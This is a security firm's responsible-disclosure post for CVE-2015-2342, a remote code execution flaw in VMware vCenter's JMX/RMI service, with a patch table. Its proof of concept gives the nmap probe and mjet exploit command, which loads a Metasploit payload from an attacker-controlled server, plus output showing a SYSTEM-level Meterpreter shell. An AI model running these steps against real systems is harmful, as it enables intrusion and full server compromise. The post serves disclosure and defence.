CVE-2015-2342 – Remote Code Execution within VMware vCenter
CVE-2015-2342 – Remote Code Execution within VMware vCenter – ‘All your base are belong to us’
Introduction
At the beginning of the year 7 Elements identified an unreported vulnerability within VMware’s vCenter product. The vulnerability provided SYSTEM level access to the hosting server and lead to a full compromise of the environment.
Due to the large scale commercial use of VMware products within enterprise level environments, 7 Elements started a long process to responsibly disclose the issue. The issue was first reported on 27th of February 2015 and can now be publicly disclosed with VMware providing fixes in both the latest version of vCenter 6.0 update 1 and updates to all previously affected versions.
Details of our advisory can be found here.
The VMware advisory can be found here.
Technical Detail
As detailed in the advisories above, the vulnerability takes advantage of an insecure deployment of the JMX/RMI service used to manage and monitor the Java Virtual Machine. By exploiting known methods, it is possible to remotely load an MLet file from an attacker controlled web server that points at a jar file. Our good friend Metasploit is really good at creating malicious jar files that result in remote shells. Therefore we have the perfect recipe to exploit the weakness and compromise the target server.
In the latest version the service no longer runs as SYSTEM by default and instead runs as ‘vspherewebclientsvc’. Execution against version 5.5 however, resulted in SYSTEM level access, on a default install.
The attack vector has already been weaponised with two known metasploit modules (1, 2) and a separate exploit, made up of java class files, that when compiled and executed passes a command to the server to be executed (Antivirus Bypass).
Proof of Concept
Identifying the service using the nmap rmi-dumpregistry.nse script shows that the service is remotely available:
root@Whack:/opt/mjet# nmap -sS 1.1.1.2 -p 9875 –script=/usr/share/nmap/scripts/rmi-dumpregistry.nse
Starting Nmap 6.47 ( http://nmap.org ) at 2015-04-15 16:56 BST
Nmap scan report for 1.1.1.2
Host is up (0.00036s latency).
PORT STATE SERVICE
9875/tcp open java-rmi
| rmi-dumpregistry:
| jmxrmi
| javax.management.remote.rmi.RMIServerImpl_Stub
| @1.1.1.2:50966
| extends
| java.rmi.server.RemoteStub
| extends
|_ java.rmi.server.RemoteObject
MAC Address: 00:0C:29:D1:00:30 (VMware)
Attacking the service running on host 1.1.1.2 and TCP Port 9875, while directing the remote URL for the MLET as http://1.1.1.1:8080/TArDcls4aeQZVWl:
root@Whack:/opt/mjet# java -jar mjet.jar -t 1.1.1.2 -p 9875 -u http://1.1.1.1:8080/TArDcls4aeQZVWl
---------------------------------------------------
MJET - Mogwai Security JMX Exploitation Toolkit 0.1
---------------------------------------------------
[+] Connecting to JMX URL: service:jmx:rmi:///jndi/rmi://1.1.1.2:9875/jmxrmi ...
[+] Connected: rmi://1.1.1.2 16
[+] Trying to create MLet bean...
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean from http://1.1.1.1:8080/TArDcls4aeQZVWl
[+] Invoking: javax.management.loading.MLet.getMBeansFromURL
[+] Loaded class: metasploit.Metasploit
[+] Loaded MBean Server ID: drmwfzvo:name=NApCjRCB,id=gsKsVVHK
[+] Invoking: metasploit.Metasploit.run()
[+] Done
Metasploit Shell
-------------------------
2015-02-24 10:11:44 +0000 S:0 J:3 msf exploit(java_mlet_server) >
[*] Using URL: http://1.1.1.1:8080/TArDcls4aeQZVWl
[*] Server started.
[*] 1.1.1.2 java_mlet_server - handling request for /TArDcls4aeQZVWl
[*] 1.1.1.2 java_mlet_server - handling request for /TArDcls4aeQZVWl/
[*] 1.1.1.2 java_mlet_server - handling request for /W5PqWUoBP/JOqDKhBd.jar
[*] 1.1.1.2 java_mlet_server - handling request for /W5PqWUoBP/JOqDKhBd.jar
[*] Sending stage (30355 bytes) to 1.1.1.2
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 1.1.1.2:50456) at 2015-02-24 10:12:32 +0000
2015-02-24 10:14:10 +0000 S:1 J:3 msf exploit(java_mlet_server) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: SYSTEM
Remediation
VMware have advised customers to upgrade vulnerable versions of vCenter with the following versions:
| VMware Product | Version | Platform | Fixed Version |
| VMware vCenter Server | 6.0 | Any | 6.0 u1 |
| VMware vCenter Server | 5.5 | Any | 5.5 u3 |
| VMware vCenter Server | 5.1 | Any | 5.1 u3b |
| VMware vCenter Server | 5.0 | Any | 5.0 u3e |
Conclusion
As can be seen with the above proof of concept, using already available tools it is a trivial exercise to gain full control over a vulnerable vCenter instance. As such, we would strongly recommend anyone running vCenter to ensure that they have either deployed the latest version from VMware or apply the relevant security patch. On a final note, remember that SYSTEM level access is only the beginning, especially when dealing with a server hosting VMware machines.